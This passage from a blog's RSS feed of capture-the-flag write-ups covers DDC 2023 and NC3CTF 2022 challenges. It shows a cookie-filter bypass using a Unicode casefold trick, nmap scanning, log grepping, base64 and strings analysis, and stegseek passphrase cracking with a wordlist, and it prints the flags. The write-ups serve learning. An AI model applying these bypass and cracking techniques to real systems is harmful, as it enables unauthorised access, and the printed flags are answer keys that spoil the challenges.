<p>We cant bypass the third check with this though, since it uses <code>.lower()</code> before it compares.</p>
<p>To bypass this we will use a unicode trick that uses the difference between <code>.lower()</code> and <code>.casefold()</code>, for this we will use the german sharp S (<code>ß</code>, <code>0xC39F</code> in UTF-8), since <code>.casefold()</code> converts it but <code>.lower()</code> doesn&rsquo;t:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>In [<span style="color:#ae81ff">1</span>]: <span style="color:#e6db74">&#39;ß&#39;</span><span style="color:#f92672">.</span>lower()
</span></span><span style="display:flex;"><span>Out[<span style="color:#ae81ff">1</span>]: <span style="color:#e6db74">&#39;ß&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>In [<span style="color:#ae81ff">2</span>]: <span style="color:#e6db74">&#39;ß&#39;</span><span style="color:#f92672">.</span>casefold()
</span></span><span style="display:flex;"><span>Out[<span style="color:#ae81ff">2</span>]: <span style="color:#e6db74">&#39;ss&#39;</span>
</span></span></code></pre></div><p>so if we use <code>ß</code> instead of the double s, we can bypass the 3rd check and still get the correct filename.</p>
<h3 id="bypassing-the-4th-and-5th-check">Bypassing the 4th and 5th check</h3>
<p>The 4th check is really easy to bypass, since it casefolds itself out to the correct string.</p>
<p>The 5th check is where it becomes hard, now we need our cookie to contain <code>princess</code>, but if we do this we will fail the 2nd check.</p>
<p>So it seems that we need to cookie to contain and not contain <code>princess</code>. How is this possible?</p>
<p>Well it actually only seems this way because we up untill this point held on to the fact that out favorite psyducks were in a list.</p>
<p>But the code actually never checks if it decodes it to a list, if we change it to a string instead we can actually bypass both the 2nd and 5th check at the same time.
Since the 5th just asks if <code>princess</code> is in the cookie, but the 2nd check loops over elements (which is single chars for a string), we can set the cookie to:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>{&#34;psy&#34;: &#34;princessprinceß&#34;}
</span></span></code></pre></div><p>All checks that ask if something is in the cookie will now check if the substring exists in the string from the cookie.</p>
<h2 id="solved-and-flag">Solved and Flag</h2>
<p>We encode our own cookie and set it in our browser:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/psyducks/correct_cookie.png"  class="center"  />

</p>
<p>and set the get parameter to then get the flag:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/psyducks/flag.png"  class="center"  />

</p>
]]></content></item><item><title>DDC 2023 Qualification - the Key Store Version</title><link>https://osiriz.dev/posts/2023/03/ddc-2023-qualification-the-key-store-version/</link><pubDate>Mon, 20 Mar 2023 09:30:00 +0100</pubDate><guid>https://osiriz.dev/posts/2023/03/ddc-2023-qualification-the-key-store-version/</guid><description>We are asked to find the version of a key-value store hosted on keystore.hkn.
We first look for open ports using nmap:
$ nmap -p- keystore.hkn Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-20 10:30 EDT Nmap scan report for keystore.hkn (77.184.238.37) Host is up (0.00025s latency). Not shown: 65534 closed tcp posts (conn-refused) PORT STATE SERVICE 6379/tcp open redis Nmap done: 1 IP address (1 host up) scanned in 3.</description><content type="html"><![CDATA[<p>We are asked to find the version of a key-value store hosted on <code>keystore.hkn</code>.</p>
<p>We first look for open ports using nmap:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>$ nmap -p- keystore.hkn
</span></span><span style="display:flex;"><span>Starting Nmap 7.92 <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2023-03-20 10:30 EDT
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> keystore.hkn <span style="color:#f92672">(</span>77.184.238.37<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.00025s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">65534</span> closed tcp posts <span style="color:#f92672">(</span>conn-refused<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE
</span></span><span style="display:flex;"><span>6379/tcp open  redis
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Nmap <span style="color:#66d9ef">done</span>: <span style="color:#ae81ff">1</span> IP address <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> host up<span style="color:#f92672">)</span> scanned in 3.20 seconds
</span></span></code></pre></div><p>We can see that <code>redis</code> is running on port <code>6379</code>, lets scan the version on that port:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>$ nmap -p6379 -sV keystore.hkn
</span></span><span style="display:flex;"><span>Starting Nmap 7.92 <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2023-03-20 10:30 EDT
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> keystore.hkn <span style="color:#f92672">(</span>77.184.238.37<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.00031s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>6379/tcp open  redis   Redis key-value store 7.0.8
</span></span></code></pre></div><p>The key-value store version is <code>Redis key-value store 7.0.8</code> so the flag is <code>DDC{Redis key-value store 7.0.8}</code></p>
]]></content></item><item><title>DDC 2023 Qualification - What Is Logging</title><link>https://osiriz.dev/posts/2023/03/ddc-2023-qualification-what-is-logging/</link><pubDate>Mon, 20 Mar 2023 09:30:00 +0100</pubDate><guid>https://osiriz.dev/posts/2023/03/ddc-2023-qualification-what-is-logging/</guid><description>We are given a text file called logs.txt, it is 953 lines long and 243 Kilobytes big:
$ wc -l logs.txt 953 logs.txt $ ls -lh logs.txt -rw-r--r-- 1 osiriz osiriz 243K Mar 20 10:30 logs.txt We can find the flag with grep:
$ grep &amp;#34;DDC{&amp;#34; logs.txt 130.225.166.251 - - [25/Feb/2023:12:42:51 +0100] &amp;#34;POST /submit/flags/what-is-logging/DDC{CR4ZY-L0NG-F1L3S-C4N-B3-S34RCH3D} HTTP/1.1&amp;#34; 200 5082 &amp;#34;https://api.ntp-event.dk/&amp;#34; &amp;#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.</description><content type="html"><![CDATA[<p>We are given a text file called <code>logs.txt</code>, it is 953 lines long and 243 Kilobytes big:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>$ wc -l logs.txt
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">953</span> logs.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$ ls -lh logs.txt
</span></span><span style="display:flex;"><span>-rw-r--r-- <span style="color:#ae81ff">1</span> osiriz osiriz 243K Mar <span style="color:#ae81ff">20</span> 10:30 logs.txt
</span></span></code></pre></div><p>We can find the flag with <code>grep</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>$ grep <span style="color:#e6db74">&#34;DDC{&#34;</span> logs.txt
</span></span><span style="display:flex;"><span>130.225.166.251 - - <span style="color:#f92672">[</span>25/Feb/2023:12:42:51 +0100<span style="color:#f92672">]</span> <span style="color:#e6db74">&#34;POST /submit/flags/what-is-logging/DDC{CR4ZY-L0NG-F1L3S-C4N-B3-S34RCH3D} HTTP/1.1&#34;</span> <span style="color:#ae81ff">200</span> <span style="color:#ae81ff">5082</span> <span style="color:#e6db74">&#34;https://api.ntp-event.dk/&#34;</span> <span style="color:#e6db74">&#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.50&#34;</span>
</span></span></code></pre></div><p>We can see that the flag was found as <code>DDC{CR4ZY-L0NG-F1L3S-C4N-B3-S34RCH3D}</code></p>
]]></content></item><item><title>NC3CTF 2022 Starter Challenges</title><link>https://osiriz.dev/posts/2022/12/nc3ctf-2022-starter-challenges/</link><pubDate>Wed, 14 Dec 2022 10:30:00 +0100</pubDate><guid>https://osiriz.dev/posts/2022/12/nc3ctf-2022-starter-challenges/</guid><description>Base64 We are given the following string:
bmMze3dvd19iYXNlNjRfZXJfdmlsZHRfbm9rfQ== We can decode the base64 in a shell with the base64 command:
$ echo &amp;#34;bmMze3dvd19iYXNlNjRfZXJfdmlsZHRfbm9rfQ==&amp;#34; | base64 -d nc3{wow_base64_er_vildt_nok} We have now got the flag
Regler We are asked to read the ctf rules, when we do so we find the flag at the bottom:
nc3{Tak_fordi_du_kiggede_paa_reglerne} Strings We are given a file called strings that is 16 KB and a ELF executable:</description><content type="html"><![CDATA[<h2 id="base64">Base64</h2>
<p>We are given the following string:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>bmMze3dvd19iYXNlNjRfZXJfdmlsZHRfbm9rfQ==
</span></span></code></pre></div><p>We can decode the base64 in a shell with the base64 command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>$ echo <span style="color:#e6db74">&#34;bmMze3dvd19iYXNlNjRfZXJfdmlsZHRfbm9rfQ==&#34;</span> | base64 -d
</span></span><span style="display:flex;"><span>nc3<span style="color:#f92672">{</span>wow_base64_er_vildt_nok<span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We have now got the flag</p>
<h2 id="regler">Regler</h2>
<p>We are asked to read the ctf rules, when we do so we find the flag at the bottom:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>nc3{Tak_fordi_du_kiggede_paa_reglerne} 
</span></span></code></pre></div><h2 id="strings">Strings</h2>
<p>We are given a file called <code>strings</code> that is 16 KB and a ELF executable:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>$ ls -lh
</span></span><span style="display:flex;"><span>-rw-r--r-- <span style="color:#ae81ff">1</span> osiriz osiriz  16K  <span style="color:#ae81ff">1</span> dec 19:29  strings
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$ file strings
</span></span><span style="display:flex;"><span>strings: ELF 64-bit LSB pie executable, x86-64, version <span style="color:#ae81ff">1</span> <span style="color:#f92672">(</span>SYSV<span style="color:#f92672">)</span>,
</span></span><span style="display:flex;"><span>dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
</span></span><span style="display:flex;"><span>BuildID<span style="color:#f92672">[</span>sha1<span style="color:#f92672">]=</span>0b230c84c7a83f5633a1087dfd516d9a2f815ea8,
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> GNU/Linux 3.2.0, not stripped
</span></span></code></pre></div><p>Running the file doesn&rsquo;t give us the flag though:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>$ ./strings
</span></span><span style="display:flex;"><span>Flaget findes ikke ved at eksekvere mig!
</span></span><span style="display:flex;"><span>Men flaget er da <span style="color:#ae81ff">28</span> tegn langt.
</span></span></code></pre></div><p>But if we run <code>strings</code> command on the file we are able to find the flag:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>$ strings ./strings | grep <span style="color:#e6db74">&#34;nc3{&#34;</span>
</span></span><span style="display:flex;"><span>nc3<span style="color:#f92672">{</span>strings finder flaget!<span style="color:#f92672">}</span>
</span></span></code></pre></div>]]></content></item><item><title>NC3CTF 2022 Stego</title><link>https://osiriz.dev/posts/2022/12/nc3ctf-2022-stego/</link><pubDate>Wed, 14 Dec 2022 10:30:00 +0100</pubDate><guid>https://osiriz.dev/posts/2022/12/nc3ctf-2022-stego/</guid><description>10 We get a file called et-nul, running file tells us it is a long line of ASCII characters:
$ file et-nul et-nul: ASCII text, with very long lines (1330), with no line terminators The file contains:
0110000110011111100011111110000111101111111101111111100000000011000011011000001101100000000000000011111111011110110000000000000001100001101111001111110001111110011111111011000011011110111100011100011011000011011000001100110000110000000000110000000000001110001101100000110110000000000000000001100000110011000000000000000111000110011001100001101100001101100000001110001101111000011001111001101100000000000000110011000011000000000011000000000000111100110110000011011000000000000000000110000011001100000000000000011110011001100110000000110000000110000000111100110111100001100110110110110000000011111110011100001111110000001100000000000011011011011000001101100000000000000000011000001100110000000000000001101101100110001111110001111110011111100011011011001100000111011001111011000000000000001100110000110000000000110000000000001100111101100000110110000000000000000001100000110011000000000000000110011110011000000001100000001101100000001100111100000000011001100011101100001101100000110011000011000000000011000000000000110001110110000011011000000000000000000110000011001100000000000000011000111001100110000110110000110110000000110001110111100001100110000110011111100011111110000111101111111100001100001111111011000011001111111001111111101111111000011000011110111111110111111101100001101111001111110001111110011111111011000011011110111100 By splitting the text into 7 lines of equal length the message reveals itself (don&amp;rsquo;t focus too hard or you wont see it):
0110000110011111100011111110000111101111111101111111100000000011000011011000001101100000000000000011111111011110110000000000000001100001101111001111110001111110011111111011000011011110111100 0111000110110000110110000011001100001100000000001100000000000011100011011000001101100000000000000000011000001100110000000000000001110001100110011000011011000011011000000011100011011110000110 0111100110110000000000000011001100001100000000001100000000000011110011011000001101100000000000000000011000001100110000000000000001111001100110011000000011000000011000000011110011011110000110 0110110110110000000011111110011100001111110000001100000000000011011011011000001101100000000000000000011000001100110000000000000001101101100110001111110001111110011111100011011011001100000111 0110011110110000000000000011001100001100000000001100000000000011001111011000001101100000000000000000011000001100110000000000000001100111100110000000011000000011011000000011001111000000000110 0110001110110000110110000011001100001100000000001100000000000011000111011000001101100000000000000000011000001100110000000000000001100011100110011000011011000011011000000011000111011110000110 0110000110011111100011111110000111101111111100001100001111111011000011001111111001111111101111111000011000011110111111110111111101100001101111001111110001111110011111111011000011011110111100 We then got the flag: NC3{ET_NUL_TIL_NISSEN!</description><content type="html"><![CDATA[<h2 id="10">10</h2>
<p>We get a file called <code>et-nul</code>,
running <code>file</code> tells us it is a long line of ASCII characters:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>$ file et-nul
</span></span><span style="display:flex;"><span>et-nul: ASCII text, with very long lines <span style="color:#f92672">(</span>1330<span style="color:#f92672">)</span>, with no line terminators
</span></span></code></pre></div><p>The file contains:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0110000110011111100011111110000111101111111101111111100000000011000011011000001101100000000000000011111111011110110000000000000001100001101111001111110001111110011111111011000011011110111100011100011011000011011000001100110000110000000000110000000000001110001101100000110110000000000000000001100000110011000000000000000111000110011001100001101100001101100000001110001101111000011001111001101100000000000000110011000011000000000011000000000000111100110110000011011000000000000000000110000011001100000000000000011110011001100110000000110000000110000000111100110111100001100110110110110000000011111110011100001111110000001100000000000011011011011000001101100000000000000000011000001100110000000000000001101101100110001111110001111110011111100011011011001100000111011001111011000000000000001100110000110000000000110000000000001100111101100000110110000000000000000001100000110011000000000000000110011110011000000001100000001101100000001100111100000000011001100011101100001101100000110011000011000000000011000000000000110001110110000011011000000000000000000110000011001100000000000000011000111001100110000110110000110110000000110001110111100001100110000110011111100011111110000111101111111100001100001111111011000011001111111001111111101111111000011000011110111111110111111101100001101111001111110001111110011111111011000011011110111100
</span></span></code></pre></div><p>By splitting the text into 7 lines of equal length the message reveals itself
(don&rsquo;t focus too hard or you wont see it):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0110000110011111100011111110000111101111111101111111100000000011000011011000001101100000000000000011111111011110110000000000000001100001101111001111110001111110011111111011000011011110111100
</span></span><span style="display:flex;"><span>0111000110110000110110000011001100001100000000001100000000000011100011011000001101100000000000000000011000001100110000000000000001110001100110011000011011000011011000000011100011011110000110
</span></span><span style="display:flex;"><span>0111100110110000000000000011001100001100000000001100000000000011110011011000001101100000000000000000011000001100110000000000000001111001100110011000000011000000011000000011110011011110000110
</span></span><span style="display:flex;"><span>0110110110110000000011111110011100001111110000001100000000000011011011011000001101100000000000000000011000001100110000000000000001101101100110001111110001111110011111100011011011001100000111
</span></span><span style="display:flex;"><span>0110011110110000000000000011001100001100000000001100000000000011001111011000001101100000000000000000011000001100110000000000000001100111100110000000011000000011011000000011001111000000000110
</span></span><span style="display:flex;"><span>0110001110110000110110000011001100001100000000001100000000000011000111011000001101100000000000000000011000001100110000000000000001100011100110011000011011000011011000000011000111011110000110
</span></span><span style="display:flex;"><span>0110000110011111100011111110000111101111111100001100001111111011000011001111111001111111101111111000011000011110111111110111111101100001101111001111110001111110011111111011000011011110111100
</span></span></code></pre></div><p>We then got the flag: <code>NC3{ET_NUL_TIL_NISSEN!}</code></p>
<h2 id="i-farezonen">I farezonen</h2>
<p>We are given the image <code>dz.jpg</code></p>

    <img src="https://filehost.osiriz.xyz/homepage/img/nc3ctf/dz.jpg"  class="center"  />


<p>Trying <code>steghide</code> with no passphrase doesn&rsquo;t find any thing.
We can instead use <code>stegseek</code> to try and find a passphrase that works:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>$ stegseek dz.jpg rockyou.txt
</span></span><span style="display:flex;"><span>StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>i<span style="color:#f92672">]</span> Found passphrase: <span style="color:#e6db74">&#34;0815julemaus&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>i<span style="color:#f92672">]</span> Original filename <span style="color:#e6db74">&#34;flag.txt&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>i<span style="color:#f92672">]</span> Extracting to <span style="color:#e6db74">&#34;dz.jpg.out&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$ cat dz.jpg.out
</span></span><span style="display:flex;"><span>nc3<span style="color:#f92672">{</span>yes_endnu_en_stegoopgave<span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We have now found the flag</p>
<h2 id="juledigtet">Juledigtet</h2>
<p>We are given the image <code>juledigt.png</code></p>

    <img src="https://filehost.osiriz.xyz/homepage/img/nc3ctf/juledigt.png"  class="center"  />


<p>We can see the text is flipped on its head, we can flip it vertically to fix it</p>

    <img src="https://filehost.osiriz.xyz/homepage/img/nc3ctf/juledigt_flipped.png"  class="center"  />


<p>All the green squares are different shades of green,
if we take the RGB value of the first three green squares we get:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span># 146e14
</span></span><span style="display:flex;"><span># 146314
</span></span><span style="display:flex;"><span># 143314
</span></span></code></pre></div><p>The green channel in these values is the only thing that changes,
and if we convert the green channel values to ASCII from Hex we get <code>nc3</code></p>
<p>If we then continue taking the green channel value for each green square we get:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>6e 63 33 7b 52 47 42 5f 6d 65 6e 5f 6b 75 6e 5f 64 65 6e 5f 67 72 6f
</span></span><span style="display:flex;"><span>65 6e 6e 65 21 31 65 74 21 7d
</span></span></code></pre></div><p>which converted to ASCII gives us the flag:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>nc3{RGB_men_kun_den_groenne!1et!}
</span></span></code></pre></div>]]></content></item></channel></rss>